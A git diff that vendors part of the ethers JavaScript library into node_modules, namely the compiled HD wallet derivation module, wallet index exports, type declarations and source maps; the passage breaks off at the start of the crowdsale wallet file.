+{"version":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Ac,CAAC,MAAM,EAAE,OAAO,GAAG,MAAM,CAItD;AAED;;;;;;;;GAQG;AACH,wBAAgB,qBAAqB,CAAC,MAAM,EAAE,OAAO,GAAG,MAAM,CAI7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/hdwallet.js b/node_modules/ethers/lib.commonjs/wallet/hdwallet.js new file mode 100644 index 000000000000..c18f50213761 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/hdwallet.js @@ -0,0 +1,506 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getIndexedAccountPath = exports.getAccountPath = exports.HDNodeVoidWallet = exports.HDNodeWallet = exports.defaultPath = void 0; +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../providers/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +const lang_en_js_1 = require("../wordlists/lang-en.js"); +const base_wallet_js_1 = require("./base-wallet.js"); +const mnemonic_js_1 = require("./mnemonic.js"); +const json_keystore_js_1 = require("./json-keystore.js"); +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +exports.defaultPath = "m/44'/60'/0'/0/0"; +// "Bitcoin seed" +const MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]); +const HardenedBit = 0x80000000; +const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +const Nibbles = "0123456789abcdef"; +function zpad(value, length) { + let result = ""; + while (value) { + result = Nibbles[value % 16] + result; + value = Math.trunc(value / 16); + } + while (result.length < length * 2) { + result = "0" + result; + } + return "0x" + result; +} +function encodeBase58Check(_value) { + const value = (0, index_js_4.getBytes)(_value); + const check = (0, index_js_4.dataSlice)((0, index_js_1.sha256)((0, index_js_1.sha256)(value)), 0, 4); + const bytes = (0, index_js_4.concat)([value, check]); + return (0, index_js_4.encodeBase58)(bytes); +} +const _guard = {}; +function ser_I(index, chainCode, publicKey, privateKey) { + const data = new Uint8Array(37); + if (index & HardenedBit) { + (0, index_js_4.assert)(privateKey != null, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { + operation: "deriveChild" + }); + // Data = 0x00 || ser_256(k_par) + data.set((0, index_js_4.getBytes)(privateKey), 1); + } + else { + // Data = ser_p(point(k_par)) + data.set((0, index_js_4.getBytes)(publicKey)); + } + // Data += ser_32(i) + for (let i = 24; i >= 0; i -= 8) { + data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); + } + const I = (0, index_js_4.getBytes)((0, index_js_1.computeHmac)("sha512", chainCode, data)); + return { IL: I.slice(0, 32), IR: I.slice(32) }; +} +function derivePath(node, path) { + const components = path.split("/"); + (0, index_js_4.assertArgument)(components.length > 0, "invalid path", "path", path); + if (components[0] === "m") { + (0, index_js_4.assertArgument)(node.depth === 0, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`, "path", path); + components.shift(); + } + let result = node; + for (let i = 0; i < components.length; i++) { + const component = components[i]; + if (component.match(/^[0-9]+'$/)) { + const index = parseInt(component.substring(0, component.length - 1)); + (0, index_js_4.assertArgument)(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(HardenedBit + index); + } + else if (component.match(/^[0-9]+$/)) { + const index = parseInt(component); + (0, index_js_4.assertArgument)(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(index); + } + else { + (0, index_js_4.assertArgument)(false, "invalid path component", `path[${i}]`, component); + } + } + return result; +} +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +class HDNodeWallet extends base_wallet_js_1.BaseWallet { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent fingerprint. + */ + parentFingerprint; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) { + super(signingKey, provider); + (0, index_js_4.assertPrivate)(guard, _guard, "HDNodeWallet"); + (0, index_js_4.defineProperties)(this, { publicKey: signingKey.compressedPublicKey }); + const fingerprint = (0, index_js_4.dataSlice)((0, index_js_1.ripemd160)((0, index_js_1.sha256)(this.publicKey)), 0, 4); + (0, index_js_4.defineProperties)(this, { + parentFingerprint, fingerprint, + chainCode, path, index, depth + }); + (0, index_js_4.defineProperties)(this, { mnemonic }); + } + connect(provider) { + return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider); + } + #account() { + const account = { address: this.address, privateKey: this.privateKey }; + const m = this.mnemonic; + if (this.path && m && m.wordlist.locale === "en" && m.password === "") { + account.mnemonic = { + path: this.path, + locale: "en", + entropy: m.entropy + }; + } + return account; + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + return await (0, json_keystore_js_1.encryptKeystoreJson)(this.#account(), password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + return (0, json_keystore_js_1.encryptKeystoreJsonSync)(this.#account(), password); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + (0, index_js_4.assert)(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check((0, index_js_4.concat)([ + "0x0488ADE4", zpad(this.depth, 1), this.parentFingerprint, + zpad(this.index, 4), this.chainCode, + (0, index_js_4.concat)(["0x00", this.privateKey]) + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter() { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider); + } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = (0, index_js_4.getNumber)(_index, "index"); + (0, index_js_4.assertArgument)(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey); + const ki = new index_js_1.SigningKey((0, index_js_4.toBeHex)(((0, index_js_4.toBigInt)(IL) + BigInt(this.privateKey)) % N, 32)); + return new HDNodeWallet(_guard, ki, this.fingerprint, (0, index_js_4.hexlify)(IR), path, index, this.depth + 1, this.mnemonic, this.provider); + } + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } + static #fromSeed(_seed, mnemonic) { + (0, index_js_4.assertArgument)((0, index_js_4.isBytesLike)(_seed), "invalid seed", "seed", "[REDACTED]"); + const seed = (0, index_js_4.getBytes)(_seed, "seed"); + (0, index_js_4.assertArgument)(seed.length >= 16 && seed.length <= 64, "invalid seed", "seed", "[REDACTED]"); + const I = (0, index_js_4.getBytes)((0, index_js_1.computeHmac)("sha512", MasterSecret, seed)); + const signingKey = new index_js_1.SigningKey((0, index_js_4.hexlify)(I.slice(0, 32))); + return new HDNodeWallet(_guard, signingKey, "0x00000000", (0, index_js_4.hexlify)(I.slice(32)), "m", 0, 0, mnemonic, null); + } + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey) { + const bytes = (0, index_js_4.toBeArray)((0, index_js_4.decodeBase58)(extendedKey)); // @TODO: redact + (0, index_js_4.assertArgument)(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, "invalid extended key", "extendedKey", "[ REDACTED ]"); + const depth = bytes[4]; + const parentFingerprint = (0, index_js_4.hexlify)(bytes.slice(5, 9)); + const index = parseInt((0, index_js_4.hexlify)(bytes.slice(9, 13)).substring(2), 16); + const chainCode = (0, index_js_4.hexlify)(bytes.slice(13, 45)); + const key = bytes.slice(45, 78); + switch ((0, index_js_4.hexlify)(bytes.slice(0, 4))) { + // Public Key + case "0x0488b21e": + case "0x043587cf": { + const publicKey = (0, index_js_4.hexlify)(key); + return new HDNodeVoidWallet(_guard, (0, index_js_3.computeAddress)(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null); + } + // Private Key + case "0x0488ade4": + case "0x04358394 ": + if (key[0] !== 0) { + break; + } + return new HDNodeWallet(_guard, new index_js_1.SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null); + } + (0, index_js_4.assertArgument)(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); + } + /** + * Creates a new random HDNode. + */ + static createRandom(password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = exports.defaultPath; + } + if (wordlist == null) { + wordlist = lang_en_js_1.LangEn.wordlist(); + } + const mnemonic = mnemonic_js_1.Mnemonic.fromEntropy((0, index_js_1.randomBytes)(16), password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic, path) { + if (!path) { + path = exports.defaultPath; + } + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase, password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = exports.defaultPath; + } + if (wordlist == null) { + wordlist = lang_en_js_1.LangEn.wordlist(); + } + const mnemonic = mnemonic_js_1.Mnemonic.fromPhrase(phrase, password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed) { + return HDNodeWallet.#fromSeed(seed, null); + } +} +exports.HDNodeWallet = HDNodeWallet; +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +class HDNodeVoidWallet extends index_js_2.VoidSigner { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent node fingerprint. + */ + parentFingerprint; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) { + super(address, provider); + (0, index_js_4.assertPrivate)(guard, _guard, "HDNodeVoidWallet"); + (0, index_js_4.defineProperties)(this, { publicKey }); + const fingerprint = (0, index_js_4.dataSlice)((0, index_js_1.ripemd160)((0, index_js_1.sha256)(publicKey)), 0, 4); + (0, index_js_4.defineProperties)(this, { + publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth + }); + } + connect(provider) { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + (0, index_js_4.assert)(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check((0, index_js_4.concat)([ + "0x0488B21E", + zpad(this.depth, 1), + this.parentFingerprint, + zpad(this.index, 4), + this.chainCode, + this.publicKey, + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = (0, index_js_4.getNumber)(_index, "index"); + (0, index_js_4.assertArgument)(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null); + const Ki = index_js_1.SigningKey.addPoints(IL, this.publicKey, true); + const address = (0, index_js_3.computeAddress)(Ki); + return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, (0, index_js_4.hexlify)(IR), path, index, this.depth + 1, this.provider); + } + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } +} +exports.HDNodeVoidWallet = HDNodeVoidWallet; +/* +export class HDNodeWalletManager { + #root: HDNodeWallet; + + constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) { + if (password == null) { password = ""; } + if (path == null) { path = "m/44'/60'/0'/0"; } + if (locale == null) { locale = LangEn.wordlist(); } + this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale); + } + + getSigner(index?: number): HDNodeWallet { + return this.#root.deriveChild((index == null) ? 0: index); + } +} +*/ +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +function getAccountPath(_index) { + const index = (0, index_js_4.getNumber)(_index, "index"); + (0, index_js_4.assertArgument)(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/${index}'/0/0`; +} +exports.getAccountPath = getAccountPath; +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +function getIndexedAccountPath(_index) { + const index = (0, index_js_4.getNumber)(_index, "index"); + (0, index_js_4.assertArgument)(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/0'/0/${index}`; +} +exports.getIndexedAccountPath = getIndexedAccountPath; +//# sourceMappingURL=hdwallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/hdwallet.js.map b/node_modules/ethers/lib.commonjs/wallet/hdwallet.js.map new file mode 100644 index 000000000000..072a7dad5372 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/hdwallet.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hdwallet.js","sourceRoot":"","sources":["../../src.ts/wallet/hdwallet.ts"],"names":[],"mappings":";;;AAAA;;;;GAIG;AACH,iDAA6F;AAC7F,oDAAmD;AACnD,sDAAyD;AACzD,gDAK2B;AAC3B,wDAAiD;AAEjD,qDAA8C;AAC9C,+CAAyC;AACzC,yDAE4B;AAS5B;;GAEG;AACU,QAAA,WAAW,GAAW,kBAAkB,CAAC;AAGtD,iBAAiB;AACjB,MAAM,YAAY,GAAG,IAAI,UAAU,CAAC,CAAE,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,CAAE,CAAC,CAAC;AAEjG,MAAM,WAAW,GAAG,UAAU,CAAC;AAE/B,MAAM,CAAC,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEvF,MAAM,OAAO,GAAG,kBAAkB,CAAC;AACnC,SAAS,IAAI,CAAC,KAAa,EAAE,MAAc;IACvC,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,OAAO,KAAK,EAAE;QACV,MAAM,GAAG,OAAO,CAAC,KAAK,GAAG,EAAE,CAAC,GAAG,MAAM,CAAC;QACtC,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,KAAK,GAAG,EAAE,CAAC,CAAC;KAClC;IACD,OAAO,MAAM,CAAC,MAAM,GAAG,MAAM,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;KAAE;IAC7D,OAAO,IAAI,GAAG,MAAM,CAAC;AACzB,CAAC;AAED,SAAS,iBAAiB,CAAC,MAAiB;IACxC,MAAM,KAAK,GAAG,IAAA,mBAAQ,EAAC,MAAM,CAAC,CAAC;IAC/B,MAAM,KAAK,GAAG,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B,CAAC,MAAM,EAAE,OAAO,EAAE,EAAE,EAAE,IAAI,CAAC,WAAW,EAAE,IAAA,kBAAO,EAAC,EAAE,CAAC,EAC1E,IAAI,EAAE,KAAK,EAAE,IAAI,CAAC,KAAK,GAAG,CAAC,EAAE,IAAI,CAAC,QAAQ,CAAC,CAAC;IAEpD,CAAC;IAED;;OAEG;IACH,UAAU,CAAC,IAAY;QACnB,OAAO,UAAU,CAAmB,IAAI,EAAE,IAAI,CAAC,CAAC;IACpD,CAAC;CACJ;AAhID,4CAgIC;AAED;;;;;;;;;;;;;;;EAeE;AAEF;;;;;;;GAOG;AACH,SAAgB,cAAc,CAAC,MAAe;IAC1C,MAAM,KAAK,GAAG,IAAA,oBAAS,EAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IACzC,IAAA,yBAAc,EAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,WAAW,EAAE,uBAAuB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;IAC3F,OAAO,aAAc,KAAM,OAAO,CAAC;AACvC,CAAC;AAJD,wCAIC;AAED;;;;;;;;GAQG;AACH,SAAgB,qBAAqB,CAAC,MAAe;IACjD,MAAM,KAAK,GAAG,IAAA,oBAAS,EAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IACzC,IAAA,yBAAc,EAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,WAAW,EAAE,uBAAuB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;IAC3F,OAAO,kBAAmB,KAAK,EAAE,CAAC;AACtC,CAAC;AAJD,sDAIC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/index.d.ts b/node_modules/ethers/lib.commonjs/wallet/index.d.ts new file mode 100644 index 000000000000..8156435f34d5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/index.d.ts @@ -0,0 +1,27 @@ +/** + * When interacting with Ethereum, it is necessary to use a private + * key authenticate actions by signing a payload. + * + * Wallets are the simplest way to expose the concept of an + * //Externally Owner Account// (EOA) as it wraps a private key + * and supports high-level methods to sign common types of interaction + * and send transactions. + * + * The class most developers will want to use is [[Wallet]], which + * can load a private key directly or from any common wallet format. + * + * The [[HDNodeWallet]] can be used when it is necessary to access + * low-level details of how an HD wallets are derived, exported + * or imported. + * + * @_section: api/wallet:Wallets [about-wallets] + */ +export { BaseWallet } from "./base-wallet.js"; +export { defaultPath, getAccountPath, getIndexedAccountPath, HDNodeWallet, HDNodeVoidWallet, } from "./hdwallet.js"; +export { isCrowdsaleJson, decryptCrowdsaleJson } from "./json-crowdsale.js"; +export { isKeystoreJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync } from "./json-keystore.js"; +export { Mnemonic } from "./mnemonic.js"; +export { Wallet } from "./wallet.js"; +export type { CrowdsaleAccount } from "./json-crowdsale.js"; +export type { KeystoreAccount, EncryptOptions } from "./json-keystore.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/index.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/index.d.ts.map new file mode 100644 index 000000000000..707d088faf48 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;GAiBG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,EACH,WAAW,EAEX,cAAc,EAAE,qBAAqB,EAErC,YAAY,EACZ,gBAAgB,GACnB,MAAM,eAAe,CAAC;AAEvB,OAAO,EAAE,eAAe,EAAE,oBAAoB,EAAE,MAAM,qBAAqB,CAAC;AAE5E,OAAO,EACH,cAAc,EACd,uBAAuB,EAAE,mBAAmB,EAC5C,mBAAmB,EAAE,uBAAuB,EAC/C,MAAM,oBAAoB,CAAC;AAE5B,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAEzC,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAGrC,YAAY,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AAC5D,YAAY,EACR,eAAe,EAAE,cAAc,EAClC,MAAM,oBAAoB,CAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/index.js b/node_modules/ethers/lib.commonjs/wallet/index.js new file mode 100644 index 000000000000..1cfe56c9daec --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/index.js @@ -0,0 +1,43 @@ +"use strict"; +/** + * When interacting with Ethereum, it is necessary to use a private + * key authenticate actions by signing a payload. + * + * Wallets are the simplest way to expose the concept of an + * //Externally Owner Account// (EOA) as it wraps a private key + * and supports high-level methods to sign common types of interaction + * and send transactions. + * + * The class most developers will want to use is [[Wallet]], which + * can load a private key directly or from any common wallet format. + * + * The [[HDNodeWallet]] can be used when it is necessary to access + * low-level details of how an HD wallets are derived, exported + * or imported. + * + * @_section: api/wallet:Wallets [about-wallets] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Wallet = exports.Mnemonic = exports.encryptKeystoreJsonSync = exports.encryptKeystoreJson = exports.decryptKeystoreJson = exports.decryptKeystoreJsonSync = exports.isKeystoreJson = exports.decryptCrowdsaleJson = exports.isCrowdsaleJson = exports.HDNodeVoidWallet = exports.HDNodeWallet = exports.getIndexedAccountPath = exports.getAccountPath = exports.defaultPath = exports.BaseWallet = void 0; +var base_wallet_js_1 = require("./base-wallet.js"); +Object.defineProperty(exports, "BaseWallet", { enumerable: true, get: function () { return base_wallet_js_1.BaseWallet; } }); +var hdwallet_js_1 = require("./hdwallet.js"); +Object.defineProperty(exports, "defaultPath", { enumerable: true, get: function () { return hdwallet_js_1.defaultPath; } }); +Object.defineProperty(exports, "getAccountPath", { enumerable: true, get: function () { return hdwallet_js_1.getAccountPath; } }); +Object.defineProperty(exports, "getIndexedAccountPath", { enumerable: true, get: function () { return hdwallet_js_1.getIndexedAccountPath; } }); +Object.defineProperty(exports, "HDNodeWallet", { enumerable: true, get: function () { return hdwallet_js_1.HDNodeWallet; } }); +Object.defineProperty(exports, "HDNodeVoidWallet", { enumerable: true, get: function () { return hdwallet_js_1.HDNodeVoidWallet; } }); +var json_crowdsale_js_1 = require("./json-crowdsale.js"); +Object.defineProperty(exports, "isCrowdsaleJson", { enumerable: true, get: function () { return json_crowdsale_js_1.isCrowdsaleJson; } }); +Object.defineProperty(exports, "decryptCrowdsaleJson", { enumerable: true, get: function () { return json_crowdsale_js_1.decryptCrowdsaleJson; } }); +var json_keystore_js_1 = require("./json-keystore.js"); +Object.defineProperty(exports, "isKeystoreJson", { enumerable: true, get: function () { return json_keystore_js_1.isKeystoreJson; } }); +Object.defineProperty(exports, "decryptKeystoreJsonSync", { enumerable: true, get: function () { return json_keystore_js_1.decryptKeystoreJsonSync; } }); +Object.defineProperty(exports, "decryptKeystoreJson", { enumerable: true, get: function () { return json_keystore_js_1.decryptKeystoreJson; } }); +Object.defineProperty(exports, "encryptKeystoreJson", { enumerable: true, get: function () { return json_keystore_js_1.encryptKeystoreJson; } }); +Object.defineProperty(exports, "encryptKeystoreJsonSync", { enumerable: true, get: function () { return json_keystore_js_1.encryptKeystoreJsonSync; } }); +var mnemonic_js_1 = require("./mnemonic.js"); +Object.defineProperty(exports, "Mnemonic", { enumerable: true, get: function () { return mnemonic_js_1.Mnemonic; } }); +var wallet_js_1 = require("./wallet.js"); +Object.defineProperty(exports, "Wallet", { enumerable: true, get: function () { return wallet_js_1.Wallet; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/index.js.map b/node_modules/ethers/lib.commonjs/wallet/index.js.map new file mode 100644 index 000000000000..b6c1d2e5c04f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/wallet/index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;GAiBG;;;AAEH,mDAA8C;AAArC,4GAAA,UAAU,OAAA;AAEnB,6CAOuB;AANnB,0GAAA,WAAW,OAAA;AAEX,6GAAA,cAAc,OAAA;AAAE,oHAAA,qBAAqB,OAAA;AAErC,2GAAA,YAAY,OAAA;AACZ,+GAAA,gBAAgB,OAAA;AAGpB,yDAA4E;AAAnE,oHAAA,eAAe,OAAA;AAAE,yHAAA,oBAAoB,OAAA;AAE9C,uDAI4B;AAHxB,kHAAA,cAAc,OAAA;AACd,2HAAA,uBAAuB,OAAA;AAAE,uHAAA,mBAAmB,OAAA;AAC5C,uHAAA,mBAAmB,OAAA;AAAE,2HAAA,uBAAuB,OAAA;AAGhD,6CAAyC;AAAhC,uGAAA,QAAQ,OAAA;AAEjB,yCAAqC;AAA5B,mGAAA,MAAM,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts new file mode 100644 index 000000000000..3d7f4a2bc521 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts @@ -0,0 +1,27 @@ +/** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +/** + * The data stored within a JSON Crowdsale wallet is fairly + * minimal. + */ +export type CrowdsaleAccount = { + privateKey: string; + address: string; +}; +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +export declare function isCrowdsaleJson(json: string): boolean; +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +export declare function decryptCrowdsaleJson(json: string, _password: string | Uint8Array): CrowdsaleAccount; +//# sourceMappingURL=json-crowdsale.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts.map new file mode 100644 index 000000000000..a569abcd4230 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"json-crowdsale.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/json-crowdsale.ts"],"names":[],"mappings":"AAAA;;GAEG;AAYH;;;GAGG;AACH,MAAM,MAAM,gBAAgB,GAAG;IAC3B,UAAU,EAAE,MAAM,CAAC;IACnB,OAAO,EAAE,MAAM,CAAC;CACnB,CAAA;AAED;;GAEG;AACH,wBAAgB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAMrD;AAID;;;;;;;;;GASG;AACH,wBAAgB,oBAAoB,CAAC,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,GAAG,UAAU,GAAG,gBAAgB,CA2BnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js new file mode 100644 index 000000000000..7dfa761adb6d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js @@ -0,0 +1,60 @@ +"use strict"; +/** + * @_subsection: api/wallet:JSON 